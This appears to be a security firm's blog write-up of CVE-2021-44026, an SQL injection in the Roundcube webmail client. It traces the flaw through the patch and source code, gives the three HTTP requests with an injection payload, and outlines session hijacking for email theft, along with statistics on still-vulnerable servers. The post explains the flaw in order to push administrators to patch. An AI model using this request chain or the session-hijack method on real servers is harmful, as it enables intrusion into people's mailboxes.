Security research

Roundcube: exfiltrating emails with CVE-2021-44026

Publisher
Pentest-Tools.com
Updated at
Article tags

Have you ever asked yourself: what is the half-life of a disclosed vulnerability? When should we stop worrying about it?

As an internal research exercise, we took a look at CVE-2021-44026, an SQL injection vulnerability in the open-source mail client Roundcube. Although it’s already two years old, it was successfully used in an exploit this summer. On 20 June 2023, CERT-UA and Recorded Future published a report of an attack which compromised the email infrastructure of several state organizations.

The attackers sent an email that, when opened, could exploit a vulnerability chain in Roundcube: an XSS in rendering links in emails (CVE-2020-35730) chained with an authenticated SQL injection (CVE-2021-44026).

What is Roundcube and why do we care about it?

According to the official description, Roundcube is:

… a browser-based multilingual IMAP client with an application-like user interface. It provides full functionality you expect from an email client, including MIME support, address book, folder manipulation, message searching and spell checking.


Roundcube is used globally by NGOs and public institutions and is the default email client that comes bundled with cPanel. Given its popularity, we decided to replicate the SQL injection, as we found no public analysis about it. We did this as an internal research project and published the results so people responsible for email security could patch their Roundcube servers and prevent more data leaks.

Analyzing the patch for the SQLi

Because Roundcube is open source, we analyzed the vulnerability by reviewing the public patch on GitHub. We discovered that the release 1.4.12 addressed this flaw through two commits.

The first commit applies a regex to the variable _sort, which the user can manipulate.

...
$dont_override = (array) $RCMAIL->config->get('dont_override');
// is there a sort type for this request?
- if ($sort = rcube_utils::get_input_value('_sort', rcube_utils::INPUT_GET)) {
+ $sort = rcube_utils::get_input_value('_sort', rcube_utils::INPUT_GET);
+ if ($sort && preg_match('/^[a-zA-Z_-]+$/', $sort)) {
   // yes, so set the sort vars
   list($sort_col, $sort_order) = explode('_', $sort);
...

The patch filters the input to allow only lowercase and uppercase English letters and the characters _, -.

The second patch involved renaming the search key in $_SESSION in various places in the code that read data from it. Here’s an excerpt from one of the changed files, export.inc:

...
$RCMAIL->request_security_check(rcube_utils::INPUT_GET);

// Use search result
- if (!empty($_REQUEST['_search']) && isset($_SESSION['search'][$_REQUEST['_search']])) {
+ if (!empty($_REQUEST['_search']) && isset($_SESSION['contact_search'][$_REQUEST['_search']])
+   && is_array($_SESSION['contact_search'][$_REQUEST['_search']])
+ ) {
   $sort_col = $RCMAIL->config->get('addressbook_sort_col', 'name');
-  $search  = (array)$_SESSION['search'][$_REQUEST['_search']];
+  $search  = $_SESSION['contact_search'][$_REQUEST['_search']];
   $records = array();
...

The change applies to export.inc and to four other files responsible for searching, displaying emails and displaying contacts for a user in Roundcube.

Additionally, the commit message seemed interesting:

Rename session items to fix potential conflict with the session items for email search.

Judging by this, and the change in the first commit, our first thought was that an attacker could  pollute $_SESSION[‘search’], which was used unsanitized in a SQL query.

Looking for SQL Injection

Manipulating the session variables

We wanted to see if the value of _sort lands inside $_SESSION

Starting from the file modified in the first patch, we see that the user controls the value in _sort through a query parameter. When a request arrives, the value in _sort will be split after the _ delimiter. The resulting elements will be saved in two variables: $sort_col and $sort_order. Then, both variables will be stored in $_SESSION:   

<?php
...
  if ($sort = rcube_utils::get_input_value('_sort', rcube_utils::INPUT_GET)) {
    // yes, so set the sort vars
    list($sort_col, $sort_order) = explode('_', $sort);
    // set session vars for sort (so next page and task switch know how to sort)
    if (!in_array('message_sort_col', $dont_override)) {
        $_SESSION['sort_col'] = $save_arr['message_sort_col'] = $sort_col;
    }
    if (!in_array('message_sort_order', $dont_override)) {
        $_SESSION['sort_order'] = $save_arr['message_sort_order'] = $sort_order;
    }
}
...

The functionality for setting this variable was on the Inbox page, designed to determine the preferred sorting method for a user's emails:

Sorting emailsThe first requests in our exploit chain will set the $_SESSION[‘sort_col’]  variable to a simple SQLi payload 1=1;--, using the following request:

GET /?_task=mail&_action=list&_sort="1=1;--"&_layout=widescreen&_mbox=INBOX&_page=&_remote=1&_unlock=loading1698056472097&_=1698056454105 HTTP/1.1
Host: mail.pentest-ground.com:9009

Finding the vulnerable SQL query

The second part of the patch led us to think we should find a place where the application concatenates user-controlled input into a SQL query. Roundcube uses prepared statements, so we are looking for code where the app concatenates our input in the query before executing it. 


Searching the code for places where this occurs led us to list_records in rcube_contacts.php, which is responsible for listing the contacts of the current user.

The function makes a call to $this->db->limitquery, which executes the parameterized SQL query passed as the first parameter:

$sql_result = $this->db->limitquery(
    "SELECT * FROM " . $this->db->table_name($this->db_name, true) . " AS c" .
    $join .
    " WHERE c.`del` <> 1" .
        " AND c.`user_id` = ?" .
        ($this->group_id ? " AND m.`contactgroup_id` = ?" : "").
        ($this->filter ? " AND ".$this->filter : "") .
    " ORDER BY ". $this->db->concat($order_cols) . " " . $this->sort_order,
    $start_row,
    $length,
    $this->user_id,
    $this->group_id
);

Three variables are concatenated directly into the query instead of being parametrized. Of them, only $this->filter seems to be variable, making it a great candidate for the SQL Injection. 

We saw it is manipulated using the set_search_set method, defined in the same file. 

This will become useful in a moment.

<?php
function set_search_set($filter)
 {
        $this->filter = $filter;
        $this->cache = null;
 }

When we examined the calls to the list_records function, we stumbled upon export.inc, a file modified in the patch.

This file allows a user to export his contacts as a vCard. It is found in the Contacts section of the Roundcube interface:

Exporting contactsExamining the code in export.inc, we notice something interesting: it contains a call to bot set_search_set and list_records:

<?php
if (!empty($_REQUEST['_search']) && isset($_SESSION['search'][$_REQUEST['_search']])) {
    $sort_col = $RCMAIL->config->get('addressbook_sort_col', 'name');
    $search  = (array)$_SESSION['search'][$_REQUEST['_search']];
    $records = array();

    // Get records from all sources
    foreach ($search as $s => $set) {
        $source = $RCMAIL->get_address_book($s);

        // reset page
        $source->set_page(1);
        $source->set_pagesize(99999);
        $source->set_search_set($set);

        // get records
        $result = $source->list_records();

$set comes from $_SESSION[‘search’] so our goal is to find a way to get our values into $_SESSION[‘search’].

Finding a bridge between two puzzle pieces

The next logical step would be to look for assignments into $_SESSION[‘search’]. So that’s what we did.

The assignment we sought is at line 151 of search.inc, which deals with email search:

<?php
...
// save search results in session
if ($search_str) {
         $_SESSION['search'] = $RCMAIL->storage->get_search_set();
}

$RCMAIL->storage->get_search_set() is implemented in rcube_imap.php and there is an equivalent setter defined there, set_search_set($set):

<?php
...
public function set_search_set($set) 
{
    $set = (array)$set;
    ...
         $this->search_sort_field = $set[3];
         ...
}

There is only one call to this function, inside the same rcube_imap.php, in the method search

<?php
...
$sorted = $this->threading || $this->search_sorted || $plugin['search_sorted'] ? true : false;
$this->set_search_set(array($search, $results, $charset, $sort_field, $sorted));
return $results;
}

Equivalently, search is called from search.inc as $RCMAIL->storage->search, at line 142:

<?php
...
$result = $RCMAIL->storage->search($mboxes, $search_str, $imap_charset, $sort_column);

Notice the name of the last parameter here, $sort_column. Looking at its value, we see it comes from the assignment $sort_column = rcmail_sort_column() from a few lines above.

After examining the implementation of rcmail_sort_column, we found the jackpot! 

<?php
function rcmail_sort_column()
{
    ...
    if (isset($_SESSION['sort_col'])) {
        $column = $_SESSION['sort_col'];
    }
    ...
    return $column;
}

To recap:

  • search.inc handles email searches coming from the interface:

Searching emails

  • Inside it, the function call to rcmail_sort_column assigns the value from $_SESSION[‘sort_col’] to $sort_column, which is then used in a subsequent search, as $sort_field, the value of the last parameter.

<?php
...
$sort_column = rcmail_sort_column();
...    
$result = $RCMAIL->storage->search($mboxes, $search_str, $imap_charset, $sort_column);
  • Digging through the search implementation, we see that $sort_field is used as part of the call to set_search_set.

<?php
public function search($folder = '', $search = 'ALL', $charset = null, $sort_field = null) {
...
$this->set_search_set(array($search, $results, $charset, $sort_field, $sorted)); 

return $results;
}
  • In set_search_set, the parameter $sort_field - the fourth element in the array - will be assigned as the value of $this->search_sort_field

<?php
public function set_search_set($set)
{
    $set = (array)$set;
    ...
    $this->search_sort_field = $set[3];
  ...
}
  • The search call above returns, the execution context goes back to search.inc, where a few lines below an assignment is made to $_SESSION[‘search’]:

<?php
...
$result = $RCMAIL->storage->search($mboxes, $search_str, $imap_charset, $sort_column);
...
if ($search_str) {
    $_SESSION['search'] = $RCMAIL->storage->get_search_set();
...

Connecting the dots

To successfully exploit the SQL injection, we need a sequence of three requests:

  •  Polluting $_SESSION[‘sort_col’] with our input from the _sort query parameter:

GET /?_task=mail&_action=list&_sort="1=1;--"&_layout=widescreen&_mbox=INBOX&_page=&_remote=1&_unlock=loading1698056472097&_=1698056454105 HTTP/1.1
Host: roundcube
  • Moving the value from $_SESSION[‘sort_col’] to $_SESSION[‘search].

GET /?_task=mail&_action=search&_interval=&_q=test&_filter=ALL&_scope=base&_mbox=INBOX&_remote=1 HTTP/1.1
Host: roundcube
  • Triggering the SQLi and having the result of the query returned as a VCARD. To achieve this, we set the _search parameter to 3, knowing  $sort_col is the fourth element in the $_SESSION[‘search’] array:

GET /?_task=addressbook&_action=export&_search=3&_source=0&_cid=1&_token=cKGAH76jfaGjrXNCMIOGDkKWKR4CGXz8 HTTP/1.1
Host: roundcube

How we tackled the exploitation challenges

Since no vulnerability is truly critical until there's proof of impact, we decided to write a PoC exploit which could extract authenticated users’ emails. 

Roundcube PoC exploit: exfiltrating emails with CVE-2021-44026

To exploit CVE-2021-44026, an attacker needs to be authenticated. For our exploit, we used an existing XSS vulnerability, CVE-2020-35730, to bypass the authentication step.

We encountered a few challenges when writing it, which we’ll explain below.

1. Hijacking the session

Since Roundcube doesn’t store emails (they sit on the mail server instead), we had to find another way to exfiltrate them. We explored the option to hijack the users’ sessions and extract all emails through the functionality Roundcube provides.

When taking a look at the database schema, the session table is in charge of keeping track of sessions. It has two columns of interest, sess_id and vars, which include each user's name, encrypted password and session secret, among others. 

Extracting sess_id was not straightforward, because we couldn’t use the character in our payload. If you remember the code handling the first request in the exploit, it splits the user input by the same _ character.

To bypass this, we used PostgreSQL's identifiers. They can include escaped Unicode characters using backslashes and hexadecimal codes. For example, you can write sess_id as  U&"sess\\005Fid".

2. Bypassing the timestamp check

The Roundcube session mechanism consists of two cookies:

  • roundcube_sessid, which is the value of the sess_id column;

  • roundcube_sessauth, which is built from two values: a session secret stored inside the vars column and a timestamp, derived from the current time of the server (that we can approximate using the Date header in a response).

If the server receives a request with an invalid timestamp, the session is instantly invalidated and deleted from the database, rendering the exploit useless. However, we can derive a correct value inside our exploit by reimplementing Roundcube’s internal logic to build it.

Is this vulnerability still significant in 2023?

This analysis raised the question of whether vulnerable versions were still widespread online, so we decided to analyze the Roundcube versions found on the Internet.


Here are the questions we used to map them out:

  1. How many Roundcube servers can we find online?

  2. Where are these servers located? 

  3. What is the distribution of versions? 

  4. How many of them are still vulnerable? 

Here’s what we found.

Scraping Shodan in November 2023 we found a total of 74039 Roundcube servers.

Most of them are in the US and Germany, with Russia coming in third:

Roundcube distribution by countryOf these 74039 targets, we managed to extract the version for 45238 of them. Version1.4, with it's various patch levels, is the most popular, having almost the same share as versions 1.5 and 1.6 combined:

Roundcube distribution my minor versionAccording to the advisory the vulnerability affects versions before 1.3.17 and 1.4.x before 1.4.12. Extracting the instances that satisfy this criteria from the targets above, we are left with a sobering number: 21901 (29.6%) of them are still vulnerable two years later.

Vulnerable versions distributionWe decided to publicly release our exploit to urge system administrators to upgrade their Roundcube servers and prevent further exploitation from threat actors who already have working exploits.

And there’s an even bigger context behind this project - and others like it who will follow - which we outlined in our vulnerability research manifesto.

Get vulnerability research & write-ups

In your inbox. (No fluff. Actionable stuff only.)

Related articles

Suggested articles

Discover our ethical hacking toolkit and all the free tools you can use!

Create free account

Footer

© 2013-2024 Pentest-Tools.com

Pentest-Tools.com has a LinkedIn account it's very active on

Join over 45,000 security specialists to discuss career challenges, get pentesting guides and tips, and learn from your peers. Follow us on LinkedIn!

Pentest-Tools.com has a YouTube account where you can find tutorials and useful videos

Expert pentesters share their best tips on our Youtube channel. Subscribe to get practical penetration testing tutorials and demos to build your own PoCs!

G2 award badge

Pentest-Tools.com recognized as a Leader in G2’s Spring 2023 Grid® Report for Penetration Testing Software. Discover why security and IT pros worldwide use the platform to streamline their penetration and security testing workflow.

OWASP logo

Pentest-Tools.com is a Corporate Member of OWASP (The Open Web Application Security Project). We share their mission to use, strengthen, and advocate for secure coding standards into every piece of software we develop.